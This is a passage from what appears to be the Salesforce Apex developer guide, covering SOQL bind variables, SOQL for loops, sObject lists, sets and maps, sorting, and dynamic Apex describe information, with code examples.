} else if (myEvent.What instanceof Opportunity) {
// myEvent.What references an Opportunity, so process accordingly
}
Note that you must assign the referenced sObject that the query returns to a variable of the appropriate type before you can pass it to
another method. The following example queries for User or Group owners of Merchandise__c custom objects using a SOQL query with
a TYPEOF clause, uses instanceof to determine the owner type, and then assigns the owner objects to User or Group type
variables before passing them to utility methods.
public class PolymorphismExampleClass {
// Utility method for a User
public static void processUser(User theUser) {
System.debug('Processed User');
}
// Utility method for a Group
public static void processGroup(Group theGroup) {
System.debug('Processed Group');
}
public static void processOwnersOfMerchandise() {
// Select records based on the Owner polymorphic relationship field
List<Merchandise__c> merchandiseList = [SELECT TYPEOF Owner WHEN User THEN LastName
WHEN Group THEN Email END FROM Merchandise__c];
// We now have a list of Merchandise__c records owned by either a User or Group
for (Merchandise__c merch: merchandiseList) {
// We can use instanceof to check the polymorphic relationship type
// Note that we have to assign the polymorphic reference to the appropriate
// sObject type before passing to a method
if (merch.Owner instanceof User) {
User userOwner = merch.Owner;
processUser(userOwner);
} else if (merch.Owner instanceof Group) {
Group groupOwner = merch.Owner;
processGroup(groupOwner);
}
}
}
}
Using Apex Variables in SOQL and SOSL Queries
SOQL and SOSL statements in Apex can reference Apex code variables and expressions if they’re preceded by a colon (:). This use of a
local code variable within a SOQL or SOSL statement is called a bind. The Apex parser first evaluates the local variable in code context
before executing the SOQL or SOSL statement. Bind expressions can be used as:
• The search string in FIND clauses.
• The filter literals in WHERE clauses.
• The value of the IN or NOT IN operator in WHERE clauses, allowing filtering on a dynamic set of values. Note that this is of
particular use with a list of IDs or Strings, though it works with lists of any type.
• The division names in WITH DIVISION clauses.
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• The numeric value in LIMIT clauses.
• The numeric value in OFFSET clauses.
Bind expressions can't be used with other clauses, such as INCLUDES.
For example:
Account A = new Account(Name='xxx');
insert A;
Account B;
// A simple bind
B = [SELECT Id FROM Account WHERE Id = :A.Id];
// A bind with arithmetic
B = [SELECT Id FROM Account
WHERE Name = :('x' + 'xx')];
String s = 'XXX';
// A bind with expressions
B = [SELECT Id FROM Account
WHERE Name = :'XXXX'.substring(0,3)];
// A bind with an expression that is itself a query result
B = [SELECT Id FROM Account
WHERE Name = :[SELECT Name FROM Account
WHERE Id = :A.Id].Name];
Contact C = new Contact(LastName='xxx', AccountId=A.Id);
insert new Contact[]{C, new Contact(LastName='yyy',
accountId=A.id)};
// Binds in both the parent and aggregate queries
B = [SELECT Id, (SELECT Id FROM Contacts
WHERE Id = :C.Id)
FROM Account
WHERE Id = :A.Id];
// One contact returned
Contact D = B.Contacts;
// A limit bind
Integer i = 1;
B = [SELECT Id FROM Account LIMIT :i];
// An OFFSET bind
Integer offsetVal = 10;
List<Account> offsetList = [SELECT Id FROM Account OFFSET :offsetVal];
// An IN-bind with an Id list. Note that a list of sObjects
// can also be used--the Ids of the objects are used for
// the bind
Contact[] cc = [SELECT Id FROM Contact LIMIT 2];
Task[] tt = [SELECT Id FROM Task WHERE WhoId IN :cc];
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// An IN-bind with a String list
String[] ss = new String[]{'a', 'b'};
Account[] aa = [SELECT Id FROM Account
WHERE AccountNumber IN :ss];
// A SOSL query with binds in all possible clauses
String myString1
String myString2
Integer myInt3 =
String myString4
Integer myInt5 =
= 'aaa';
= 'bbb';
11;
= 'ccc';
22;
List<List<SObject>> searchList = [FIND :myString1 IN ALL FIELDS
RETURNING
Account (Id, Name WHERE Name LIKE :myString2
LIMIT :myInt3),
Contact,
Opportunity,
Lead
WITH DIVISION =:myString4
LIMIT :myInt5];
Note: Apex bind variables aren’t supported for the units parameter in DISTANCE or GEOLOCATION functions. This query
doesn’t work.
String units = 'mi';
List<Account> accountList =
[SELECT ID, Name, BillingLatitude, BillingLongitude
FROM Account
WHERE DISTANCE(My_Location_Field__c, GEOLOCATION(10,10), :units) < 10];
Querying All Records with a SOQL Statement
SOQL statements can use the ALL ROWS keywords to query all records in an organization, including deleted records and archived
activities. For example:
System.assertEquals(2, [SELECT COUNT() FROM Contact WHERE AccountId = a.Id ALL ROWS]);
You can use ALL ROWS to query records in your organization's Recycle Bin. You cannot use the ALL ROWS keywords with the FOR
UPDATE keywords.
SOQL For Loops
SOQL for loops iterate over all of the sObject records returned by a SOQL query.
The syntax of a SOQL for loop is either:
for (variable : [soql_query]) {
code_block
}
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or
for (variable_list : [soql_query]) {
code_block
}
Both variable and variable_list must be of the same type as the sObjects that are returned by the soql_query.
As in standard SOQL queries, the [soql_query] statement can refer to code expressions in their WHERE clauses using the :
syntax. For example:
String s = 'Acme';
for (Account a : [SELECT Id, Name from Account
where Name LIKE :(s+'%')]) {
// Your code
}
The following example combines creating a list from a SOQL query, with the DML update method.
// Create a list of account records from a SOQL query
List<Account> accs = [SELECT Id, Name FROM Account WHERE Name = 'Siebel'];
// Loop through the list and update the Name field
for(Account a : accs){
a.Name = 'Oracle';
}
// Update the database
update accs;
SOQL For Loops Versus Standard SOQL Queries
SOQL for loops differ from standard SOQL statements because of the method they use to retrieve sObjects. While the standard queries
discussed in SOQL and SOSL Queries can retrieve either the count of a query or a number of object records, SOQL for loops retrieve
all sObjects, using efficient chunking with calls to the query and queryMore methods of the SOAP API. Developers should always
use a SOQL for loop to process query results that return many records, to avoid the limit on heap size.
Note that queries including an aggregate function don't support queryMore. A run-time exception occurs if you use a query containing
an aggregate function that returns more than 2,000 rows in a for loop.
SOQL For Loop Formats
SOQL for loops can process records one at a time using a single sObject variable, or in batches of 200 sObjects at a time using an
sObject list:
• The single sObject format executes the for loop's <code_block> once per sObject record. Consequently, it is easy to understand
and use, but is grossly inefficient if you want to use data manipulation language (DML) statements within the for loop body. Each
DML statement ends up processing only one sObject at a time.
• The sObject list format executes the for loop's <code_block> once per list of 200 sObjects. Consequently, it is a little more
difficult to understand and use, but is the optimal choice if you need to use DML statements within the for loop body. Each DML
statement can bulk process a list of sObjects at a time.
For example, the following code illustrates the difference between the two types of SOQL query for loops:
// Create a savepoint because the data should not be committed to the database
Savepoint sp = Database.setSavepoint();
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insert new Account[]{new Account(Name = 'yyy'),
new Account(Name = 'yyy'),
new Account(Name = 'yyy')};
// The single sObject format executes the for loop once per returned record
Integer i = 0;
for (Account tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
i++;
}
System.assert(i == 3); // Since there were three accounts named 'yyy' in the
// database, the loop executed three times
// The sObject list format executes the for loop once per returned batch
// of records
i = 0;
Integer j;
for (Account[] tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
j = tmp.size();
i++;
}
System.assert(j == 3); // The list should have contained the three accounts
// named 'yyy'
System.assert(i == 1); // Since a single batch can hold up to 200 records and,
// only three records should have been returned, the
// loop should have executed only once
// Revert the database to the original state
Database.rollback(sp);
Note:
• The break and continue keywords can be used in both types of inline query for loop formats. When using the sObject
list format, continue skips to the next list of sObjects.
• DML statements can only process up to 10,000 records at a time, and sObject list for loops process records in batches of
200. Consequently, if you are inserting, updating, or deleting more than one record per returned record in an sObject list for
loop, it is possible to encounter runtime limit errors. See Execution Governors and Limits on page 275.
• You might get a QueryException in a SOQL for loop with the message Aggregate query has too many
rows for direct assignment, use FOR loop. This exception is sometimes thrown when accessing a large
set of child records (200 or more) of a retrieved sObject inside the loop, or when getting the size of such a record set. For
example, the query in the following SOQL for loop retrieves child contacts for a particular account. If this account contains
more than 200 child contacts, the statements in the for loop cause an exception.
for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts)
FROM Account WHERE Id IN ('<ID value>')]) {
List<Contact> contactList = acct.Contacts; // Causes an error
Integer count = acct.Contacts.size(); // Causes an error
}
To avoid getting this exception, use a for loop to iterate over the child records, as follows.
for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts)
FROM Account WHERE Id IN ('<ID value>')]) {
Integer count=0;
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for (Contact c : acct.Contacts) {
count++;
}
}
sObject Collections
You can manage sObjects in lists, sets, and maps.
IN THIS SECTION:
Lists of sObjects
Lists can contain sObjects among other types of elements. Lists of sObjects can be used for bulk processing of data.
Sorting Lists of sObjects
Using the List.sort method, you can sort lists sObjects.
Expanding sObject and List Expressions
Sets of Objects
Sets can contain sObjects among other types of elements.
Maps of sObjects
Map keys and values can be of any data type, including sObject types, such as Account.
Lists of sObjects
Lists can contain sObjects among other types of elements. Lists of sObjects can be used for bulk processing of data.
You can use a list to store sObjects. Lists are useful when working with SOQL queries. SOQL queries return sObject data and this data
can be stored in a list of sObjects. Also, you can use lists to perform bulk operations, such as inserting a list of sObjects with one call.
To declare a list of sObjects, use the List keyword followed by the sObject type within <> characters. For example:
// Create an empty list of Accounts
List<Account> myList = new List<Account>();
Auto-populating a List from a SOQL Query
You can assign a List variable directly to the results of a SOQL query. The SOQL query returns a new list populated with the records
returned. Make sure the declared List variable contains the same sObject that is being queried. Or you can use the generic sObject data
type.
This example shows how to declare and assign a list of accounts to the return value of a SOQL query. The query returns up to 1,000
returns account records containing the Id and Name fields.
// Create a list of account records from a SOQL query
List<Account> accts = [SELECT Id, Name FROM Account LIMIT 1000];
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Adding and Retrieving List Elements
As with lists of primitive data types, you can access and set elements of sObject lists using the List methods provided by Apex. For
example:
List<Account> myList = new List<Account>(); // Define a new list
Account a = new Account(Name='Acme'); // Create the account first
myList.add(a);
// Add the account sObject
Account a2 = myList.get(0);
// Retrieve the element at index 0
Bulk Processing
You can bulk-process a list of sObjects by passing a list to the DML operation. This example shows how you can insert a list of accounts.
// Define the list
List<Account> acctList = new List<Account>();
// Create account sObjects
Account a1 = new Acount(Name='Account1');
Account a2 = new Acount(Name='Account2');
// Add accounts to the list
acctList.add(a1);
acctList.add(a2);
// Bulk insert the list
insert acctList;
Record ID Generation
Apex automatically generates IDs for each object in a list of sObjects when the list is successfully inserted or upserted into the database
with a data manipulation language (DML) statement. Consequently, a list of sObjects cannot be inserted or upserted if it contains the
same sObject more than once, even if it has a null ID. This situation would imply that two IDs would need to be written to the same
structure in memory, which is illegal.
For example, the insert statement in the following block of code generates a ListException because it tries to insert a list
with two references to the same sObject (a):
try {
// Create a list with two references to the same sObject element
Account a = new Account();
List<Account> accs = new List<Account>{a, a};
// Attempt to insert it...
insert accs;
// Will not get here
System.assert(false);
} catch (ListException e) {
// But will get here
}
Using Array Notation for One-Dimensional Lists of sObjects
Alternatively, you can use the array notation (square brackets) to declare and reference lists of sObjects.
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For example, this declares a list of accounts using the array notation.
Account[] accts = new Account[1];
This example adds an element to the list using square brackets.
accts[0] = new Account(Name='Acme2');
These are some additional examples of using the array notation with sObject lists.
Example
Description
Defines an Account list with no elements.
List<Account> accts = new Account[]{};
Defines an Account list with memory allocated for three Accounts,
including a new Account object in the first position, null in the
second position, and another new Account object in the third
position.
List<Account> accts = new Account[]
{new Account(), null, new
Account()};
Defines the Contact list with a new list.
List<Contact> contacts = new List<Contact>
(otherList);
Sorting Lists of sObjects
Using the List.sort method, you can sort lists sObjects.
For sObjects, sorting is in ascending order and uses a sequence of comparison steps outlined in the next section. Alternatively, you can
also implement a custom sort order for sObjects by wrapping your sObject in an Apex class and implementing the Comparable
interface, as shown in Custom Sort Order of sObjects.
Default Sort Order of sObjects
The List.sort method sorts sObjects in ascending order and compares sObjects using an ordered sequence of steps that specify
the labels or fields used. The comparison starts with the first step in the sequence and ends when two sObjects are sorted using specified
labels or fields. The following is the comparison sequence used:
1. The label of the sObject type.
For example, an Account sObject will appear before a Contact.
2. The Name field, if applicable.
For example, if the list contains two accounts named A and B respectively, account A comes before account B.
3. Standard fields, starting with the fields that come first in alphabetical order, except for the Id and Name fields.
For example, if two accounts have the same name, the first standard field used for sorting is AccountNumber.
4. Custom fields, starting with the fields that come first in alphabetical order.
For example, suppose two accounts have the same name and identical standard fields, and there are two custom fields, FieldA and
FieldB, the value of FieldA is used first for sorting.
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Not all steps in this sequence are necessarily carried out. For example, if a list contains two sObjects of the same type and with unique
Name values, they’re sorted based on the Name field and sorting stops at step 2. Otherwise, if the names are identical or the sObject
doesn’t have a Name field, sorting proceeds to step 3 to sort by standard fields.
For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order.
This is an example of sorting a list of Account sObjects. This example shows how the Name field is used to place the Acme account
ahead of the two sForce accounts in the list. Since there are two accounts named sForce, the Industry field is used to sort these remaining
accounts because the Industry field comes before the Site field in alphabetical order.
Account[] acctList = new List<Account>();
acctList.add( new Account(
Name='sForce',
Industry='Biotechnology',
Site='Austin'));
acctList.add(new Account(
Name='sForce',
Industry='Agriculture',
Site='New York'));
acctList.add(new Account(
Name='Acme'));
System.debug(acctList);
acctList.sort();
System.assertEquals('Acme', acctList[0].Name);
System.assertEquals('sForce', acctList[1].Name);
System.assertEquals('Agriculture', acctList[1].Industry);
System.assertEquals('sForce', acctList[2].Name);
System.assertEquals('Biotechnology', acctList[2].Industry);
System.debug(acctList);
This example is similar to the previous one, except that it uses the Merchandise__c custom object. This example shows how the Name
field is used to place the Notebooks merchandise ahead of Pens in the list. Since there are two merchandise sObjects with the Name
field value of Pens, the Description field is used to sort these remaining merchandise items because the Description field comes before
the Price and Total_Inventory fields in alphabetical order.
Merchandise__c[] merchList = new List<Merchandise__c>();
merchList.add( new Merchandise__c(
Name='Pens',
Description__c='Red pens',
Price__c=2,
Total_Inventory__c=1000));
merchList.add( new Merchandise__c(
Name='Notebooks',
Description__c='Cool notebooks',
Price__c=3.50,
Total_Inventory__c=2000));
merchList.add( new Merchandise__c(
Name='Pens',
Description__c='Blue pens',
Price__c=1.75,
Total_Inventory__c=800));
System.debug(merchList);
merchList.sort();
System.assertEquals('Notebooks', merchList[0].Name);
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System.assertEquals('Pens', merchList[1].Name);
System.assertEquals('Blue pens', merchList[1].Description__c);
System.assertEquals('Pens', merchList[2].Name);
System.assertEquals('Red pens', merchList[2].Description__c);
System.debug(merchList);
Custom Sort Order of sObjects
To implement a custom sort order for sObjects in lists, create a wrapper class for the sObject and implement the Comparable interface.
The wrapper class contains the sObject in question and implements the compareTo method, in which you specify the sort logic.
This example shows how to create a wrapper class for Opportunity. The implementation of the compareTo method in this class
compares two opportunities based on the Amount field—the class member variable contained in this instance, and the opportunity
object passed into the method.
global class OpportunityWrapper implements Comparable {
public Opportunity oppy;
// Constructor
public OpportunityWrapper(Opportunity op) {
oppy = op;
}
// Compare opportunities based on the opportunity amount.
global Integer compareTo(Object compareTo) {
// Cast argument to OpportunityWrapper
OpportunityWrapper compareToOppy = (OpportunityWrapper)compareTo;
// The return value of 0 indicates that both elements are equal.
Integer returnValue = 0;
if (oppy.Amount > compareToOppy.oppy.Amount) {
// Set return value to a positive value.
returnValue = 1;
} else if (oppy.Amount < compareToOppy.oppy.Amount) {
// Set return value to a negative value.
returnValue = -1;
}
return returnValue;
}
}
This example provides a test for the OpportunityWrapper class. It sorts a list of OpportunityWrapper objects and verifies
that the list elements are sorted by the opportunity amount.
@isTest
private class OpportunityWrapperTest {
static testmethod void test1() {
// Add the opportunity wrapper objects to a list.
OpportunityWrapper[] oppyList = new List<OpportunityWrapper>();
Date closeDate = Date.today().addDays(10);
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='Edge Installation',
CloseDate=closeDate,
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StageName='Prospecting',
Amount=50000)));
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='United Oil Installations',
CloseDate=closeDate,
StageName='Needs Analysis',
Amount=100000)));
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='Grand Hotels SLA',
CloseDate=closeDate,
StageName='Prospecting',
Amount=25000)));
// Sort the wrapper objects using the implementation of the
// compareTo method.
oppyList.sort();
// Verify the sort order
System.assertEquals('Grand Hotels SLA', oppyList[0].oppy.Name);
System.assertEquals(25000, oppyList[0].oppy.Amount);
System.assertEquals('Edge Installation', oppyList[1].oppy.Name);
System.assertEquals(50000, oppyList[1].oppy.Amount);
System.assertEquals('United Oil Installations', oppyList[2].oppy.Name);
System.assertEquals(100000, oppyList[2].oppy.Amount);
// Write the sorted list contents to the debug log.
System.debug(oppyList);
}
}
Expanding sObject and List Expressions
As in Java, sObject and list expressions can be expanded with method references and list expressions, respectively, to form new expressions.
In the following example, a new variable containing the length of the new account name is assigned to acctNameLength.
Integer acctNameLength = new Account[]{new Account(Name='Acme')}[0].Name.length();
In the above, new Account[] generates a list.
The list is populated with one element by the new statement {new Account(name='Acme')}.
Item 0, the first item in the list, is then accessed by the next part of the string [0].
The name of the sObject in the list is accessed, followed by the method returning the length name.length().
In the following example, a name that has been shifted to lower case is returned. The SOQL statement returns a list of which the first
element (at index 0) is accessed through [0]. Next, the Name field is accessed and converted to lowercase with this expression
.Name.toLowerCase().
String nameChange = [SELECT Name FROM Account][0].Name.toLowerCase();
Sets of Objects
Sets can contain sObjects among other types of elements.
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Sets contain unique elements. Uniqueness of sObjects is determined by comparing the objects’ fields. For example, if you try to add two
accounts with the same name to a set, with no other fields set, only one sObject is added to the set.
// Create two accounts, a1 and a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount');
// Add both accounts to the new set
Set<Account> accountSet = new Set<Account>{a1, a2};
// Verify that the set only contains one item
System.assertEquals(accountSet.size(), 1);
If you add a description to one of the accounts, it is considered unique and both accounts are added to the set.
// Create two accounts, a1 and a2, and add a description to a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount', description='My test account');
// Add both accounts to the new set
Set<Account> accountSet = new Set<Account>{a1, a2};
// Verify that the set contains two items
System.assertEquals(accountSet.size(), 2);
Warning: If set elements are objects, and these objects change after being added to the collection, they won’t be found anymore
when using, for example, the contains or containsAll methods, because of changed field values.
Maps of sObjects
Map keys and values can be of any data type, including sObject types, such as Account.
Maps can hold sObjects both in their keys and values. A map key represents a unique value that maps to a map value. For example, a
common key would be an ID that maps to an account (a specific sObject type). This example shows how to define a map whose keys
are of type ID and whose values are of type Account.
Map<ID, Account> m = new Map<ID, Account>();
As with primitive types, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the
curly braces, specify the key first, then specify the value for that key using =>. This example creates a map of integers to accounts lists
and adds one entry using the account list created earlier.
Account[] accs = new Account[5]; // Account[] is synonymous with List<Account>
Map<Integer, List<Account>> m4 = new Map<Integer, List<Account>>{1 => accs};
Maps allow sObjects in their keys. You should use sObjects in the keys only when the sObject field values won’t change.
Auto-Populating Map Entries from a SOQL Query
When working with SOQL queries, maps can be populated from the results returned by the SOQL query. The map key should be declared
with an ID or String data type, and the map value should be declared as an sObject data type.
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This example shows how to populate a new map from a query. In the example, the SOQL query returns a list of accounts with their Id
and Name fields. The new operator uses the returned list of accounts to create a map.
// Populate map from SOQL query
Map<ID, Account> m = new Map<ID, Account>([SELECT Id, Name FROM Account LIMIT 10]);
// After populating the map, iterate through the map entries
for (ID idKey : m.keyset()) {
Account a = m.get(idKey);
System.debug(a);
}
One common usage of this map type is for in-memory “joins” between two tables.
Using Map Methods
The Map class exposes various methods that you can use to work with map elements, such as adding, removing, or retrieving elements.
This example uses Map methods to add new elements and retrieve existing elements from the map. This example also checks for the
existence of a key and gets the set of all keys. The map in this example has one element with an integer key and an account value.
Account myAcct = new Account();
//Define a new account
Map<Integer, Account> m = new Map<Integer, Account>(); // Define a new map
m.put(1, myAcct);
// Insert a new key-value pair in the map
System.assert(!m.containsKey(3)); // Assert that the map contains a key
Account a = m.get(1);
// Retrieve a value, given a particular key
Set<Integer> s = m.keySet();
// Return a set that contains all of the keys in the
map
IN THIS SECTION:
sObject Map Considerations
sObject Map Considerations
Be cautious when using sObjects as map keys. Key matching for sObjects is based on the comparison of all sObject field values. If one
or more field values change after adding an sObject to the map, attempting to retrieve this sObject from the map returns null. This
is because the modified sObject isn’t found in the map due to different field values. This can occur if you explicitly change a field on the
sObject, or if the sObject fields are implicitly changed by the system; for example, after inserting an sObject, the sObject variable has the
ID field autofilled. Attempting to fetch this Object from a map to which it was added before the insert operation won’t yield the
map entry, as shown in this example.
// Create an account and add it to the map
Account a1 = new Account(Name='A1');
Map<sObject, Integer> m = new Map<sObject, Integer>{
a1 => 1};
// Get a1's value from the map.
// Returns the value of 1.
System.assertEquals(1, m.get(a1));
// Id field is null.
System.assertEquals(null, a1.Id);
// Insert a1.
// This causes the ID field on a1 to be auto-filled
insert a1;
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// Id field is now populated.
System.assertNotEquals(null, a1.Id);
// Get a1's value from the map again.
// Returns null because Map.get(sObject) doesn't find
// the entry based on the sObject with an auto-filled ID.
// This is because when a1 was originally added to the map
// before the insert operation, the ID of a1 was null.
System.assertEquals(null, m.get(a1));
Another scenario where sObject fields are autofilled is in triggers, for example, when using before and after insert triggers for an sObject.
If those triggers share a static map defined in a class, and the sObjects in Trigger.New are added to this map in the before trigger,
the sObjects in Trigger.New in the after trigger aren’t found in the map because the two sets of sObjects differ by the fields that
are autofilled. The sObjects in Trigger.New in the after trigger have system fields populated after insertion, namely: ID, CreatedDate,
CreatedById, LastModifiedDate, LastModifiedById, and SystemModStamp.
Dynamic Apex
Dynamic Apex enables developers to create more flexible applications by providing them with the ability to:
• Access sObject and field describe information
Describe information provides metadata information about sObject and field properties. For example, the describe information for
an sObject includes whether that type of sObject supports operations like create or undelete, the sObject's name and label, the
sObject's fields and child objects, and so on. The describe information for a field includes whether the field has a default value,
whether it is a calculated field, the type of the field, and so on.
Note that describe information provides information about objects in an organization, not individual records.
• Access Salesforce app information
You can obtain describe information for standard and custom apps available in the Salesforce user interface. Each app corresponds
to a collection of tabs. Describe information for an app includes the app’s label, namespace, and tabs. Describe information for a tab
includes the sObject associated with the tab, tab icons and colors.
• Write dynamic SOQL queries, dynamic SOSL queries and dynamic DML
Dynamic SOQL and SOSL queries provide the ability to execute SOQL or SOSL as a string at runtime, while dynamic DML provides the
ability to create a record dynamically and then insert it into the database using DML. Using dynamic SOQL, SOSL, and DML, an
application can be tailored precisely to the organization as well as the user's permissions. This can be useful for applications that are
installed from Force.com AppExchange.
IN THIS SECTION:
1. Understanding Apex Describe Information
2. Using Field Tokens
3. Understanding Describe Information Permissions
4. Describing sObjects Using Schema Method
5. Describing Tabs Using Schema Methods
6. Accessing All sObjects
7. Accessing All Data Categories Associated with an sObject
8. Dynamic SOQL
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9. Dynamic SOSL
10. Dynamic DML
Understanding Apex Describe Information
You can describe sObjects either by using tokens or the describeSObjects Schema method.
Apex provides two data structures and a method for sObject and field describe information:
• Token—a lightweight, serializable reference to an sObject or a field that is validated at compile time. This is used for token describes.
• The describeSObjects method—a method in the Schema class that performs describes on one or more sObject types.
• Describe result—an object of type Schema.DescribeSObjectResult that contains all the describe properties for the
sObject or field. Describe result objects are not serializable, and are validated at runtime. This result object is returned when performing
the describe, using either the sObject token or the describeSObjects method.
Describing sObjects Using Tokens
It is easy to move from a token to its describe result, and vice versa. Both sObject and field tokens have the method getDescribe
which returns the describe result for that token. On the describe result, the getSObjectType and getSObjectField methods
return the tokens for sObject and field, respectively.
Because tokens are lightweight, using them can make your code faster and more efficient. For example, use the token version of an
sObject or field when you are determining the type of an sObject or field that your code needs to use. The token can be compared using
the equality operator (==) to determine whether an sObject is the Account object, for example, or whether a field is the Name field or
a custom calculated field.
The following code provides a general example of how to use tokens and describe results to access information about sObject and field
properties:
// Create a new account as the generic type sObject
sObject s = new Account();
// Verify that the generic sObject is an Account sObject
System.assert(s.getsObjectType() == Account.sObjectType);
// Get the sObject describe result for the Account object
Schema.DescribeSObjectResult dsr = Account.sObjectType.getDescribe();
// Get the field describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;
// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);
// Get the field describe result from the token
dfr = dfr.getSObjectField().getDescribe();
The following algorithm shows how you can work with describe information in Apex:
1. Generate a list or map of tokens for the sObjects in your organization (see Accessing All sObjects.)
2. Determine the sObject you need to access.
3. Generate the describe result for the sObject.
4. If necessary, generate a map of field tokens for the sObject (see Accessing All Field Describe Results for an sObject.)
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5. Generate the describe result for the field the code needs to access.
Using sObject Tokens
SObjects, such as Account and MyCustomObject__c, act as static classes with special static methods and member variables for accessing
token and describe result information. You must explicitly reference an sObject and field name at compile time to gain access to the
describe result.
To access the token for an sObject, use one of the following methods:
• Access the sObjectType member variable on an sObject type, such as Account.
• Call the getSObjectType method on an sObject describe result, an sObject variable, a list, or a map.
Schema.SObjectType is the data type for an sObject token.
In the following example, the token for the Account sObject is returned:
Schema.sObjectType t = Account.sObjectType;
The following also returns a token for the Account sObject:
Account a = new Account();
Schema.sObjectType t = a.getSObjectType();
This example can be used to determine whether an sObject or a list of sObjects is of a particular type:
// Create a generic sObject variable s
SObject s = Database.query('SELECT Id FROM Account LIMIT 1');
// Verify if that sObject variable is an Account token
System.assertEquals(s.getSObjectType(), Account.sObjectType);
// Create a list of generic sObjects
List<sObject> sobjList = new Account[]{};
// Verify if the list of sObjects contains Account tokens
System.assertEquals(sobjList.getSObjectType(), Account.sObjectType);
Some standard sObjects have a field called sObjectType, for example, AssignmentRule, QueueSObject, and RecordType. For these
types of sObjects, always use the getSObjectType method for retrieving the token. If you use the property, for example,
RecordType.sObjectType, the field is returned.
Obtaining sObject Describe Results Using Tokens
To access the describe result for an sObject, use one of the following methods:
• Call the getDescribe method on an sObject token.
• Use the Schema sObjectType static variable with the name of the sObject. For example, Schema.sObjectType.Lead.
Schema.DescribeSObjectResult is the data type for an sObject describe result.
The following example uses the getDescribe method on an sObject token:
Schema.DescribeSObjectResult dsr = Account.sObjectType.getDescribe();
The following example uses the Schema sObjectType static member variable:
Schema.DescribeSObjectResult dsr = Schema.SObjectType.Account;
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For more information about the methods available with the sObject describe result, see DescribeSObjectResult Class.
SEE ALSO:
fields
fieldSets
Using Field Tokens
To access the token for a field, use one of the following methods:
• Access the static member variable name of an sObject static type, for example, Account.Name.
• Call the getSObjectField method on a field describe result.
The field token uses the data type Schema.SObjectField.
In the following example, the field token is returned for the Account object's Description field:
Schema.SObjectField fieldToken = Account.Description;
In the following example, the field token is returned from the field describe result:
// Get the describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;
// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);
// Get the describe result from the token
dfr = dfr.getSObjectField().getDescribe();
Note: Field tokens aren't available for person accounts. If you access Schema.Account.fieldname, you'll get an exception
error. Instead, specify the field name as a string.
Using Field Describe Results
To access the describe result for a field, use one of the following methods:
• Call the getDescribe method on a field token.
• Access the fields member variable of an sObject token with a field member variable (such as Name, BillingCity, and so
on.)
The field describe result uses the data type Schema.DescribeFieldResult.
The following example uses the getDescribe method:
Schema.DescribeFieldResult dfr = Account.Description.getDescribe();
This example uses the fields member variable method:
Schema.DescribeFieldResult dfr = Schema.SObjectType.Account.fields.Name;
In the example above, the system uses special parsing to validate that the final member variable (Name) is valid for the specified sObject
at compile time. When the parser finds the fields member variable, it looks backwards to find the name of the sObject (Account).
It validates that the field name following the fields member variable is legitimate. The fields member variable only works when
used in this manner.
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Note: Don’t use the fields member variable without also using either a field member variable name or the getMap method.
For more information on getMap, see the next section.
For more information about the methods available with a field describe result, see DescribeFieldResult Class.
Accessing All Field Describe Results for an sObject
Use the field describe result's getMap method to return a map that represents the relationship between all the field names (keys) and
the field tokens (values) for an sObject.
The following example generates a map that can be used to access a field by name:
Map<String, Schema.SObjectField> fieldMap = Schema.SObjectType.Account.fields.getMap();
Note: The value type of this map is not a field describe result. Using the describe results would take too many system resources.
Instead, it is a map of tokens that you can use to find the appropriate field. After you determine the field, generate the describe
result for it.
The map has the following characteristics:
• It is dynamic, that is, it is generated at runtime on the fields for that sObject.
• All field names are case insensitive.
• The keys use namespaces as required.
• The keys reflect whether the field is a custom object.
For example, if the code block that generates the map is in namespace N1, and a field is also in N1, the key in the map is represented as
MyField__c. However, if the code block is in namespace N1, and the field is in namespace N2, the key is N2__MyField__c.
In addition, standard fields have no namespace prefix.
Field Describe Considerations
Note the following when describing fields.
• A field describe that’s executed from within an installed managed package returns Chatter fields even if Chatter is not enabled in
the installing organization. This is not true if the field describe is executed from a class that’s not within an installed managed package.
• When you describe sObjects and their fields from within an Apex class, custom fields of new field types are returned regardless of
the API version that the class is saved in. If a field type, such as the geolocation field type, is available only in a recent API version,
components of a geolocation field are returned even if the class is saved in an earlier API version.
SEE ALSO:
fields
fieldSets
Understanding Describe Information Permissions
Apex classes and triggers run in system mode. All classes and triggers that are not included in a package, that is, are native to your
organization, have no restrictions on the sObjects that they can look up dynamically. This means that with native code, you can generate
a map of all the sObjects for your organization, regardless of the current user's permission.
If you execute describe calls in an anonymous block, user permissions are taken into account. As a result, not all sObjects and fields can
be looked up if access is restricted for the running user. For example, if the you describe account fields in an anonmynous block and you
don’t have access to all fields, not all fields are returned. However, all fields are returned for the same call in an Apex class.
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Dynamic Apex, contained in managed packages created by Salesforce ISV partners that are installed from Force.com AppExchange, have
restricted access to any sObject outside the managed package. Partners can set the API Access value within the package to grant
access to standard sObjects not included as part of the managed package. While Partners can request access to standard objects, custom
objects are not included as part of the managed package and can never be referenced or accessed by dynamic Apex that is packaged.
For more information, see “About API and Dynamic Apex Access in Packages” in the Salesforce online help.
SEE ALSO:
Anonymous Blocks
What is a Package?
Describing sObjects Using Schema Method
As an alternative to using tokens, you can describe sObjects by calling the describeSObjects Schema method and passing one
or more sObject type names for the sObjects you want to describe.
This example gets describe metadata information for two sObject types—The Account standard object and the Merchandise__c custom
object. After obtaining the describe result for each sObject, this example writes the returned information to the debug output, such as
the sObject label, number of fields, whether it is a custom object or not, and the number of child relationships.
// sObject types to describe
String[] types = new String[]{'Account','Merchandise__c'};
// Make the describe call
Schema.DescribeSobjectResult[] results = Schema.describeSObjects(types);
System.debug('Got describe information for ' + results.size() + ' sObjects.');
// For each returned result, get some info
for(Schema.DescribeSobjectResult res : results) {
System.debug('sObject Label: ' + res.getLabel());
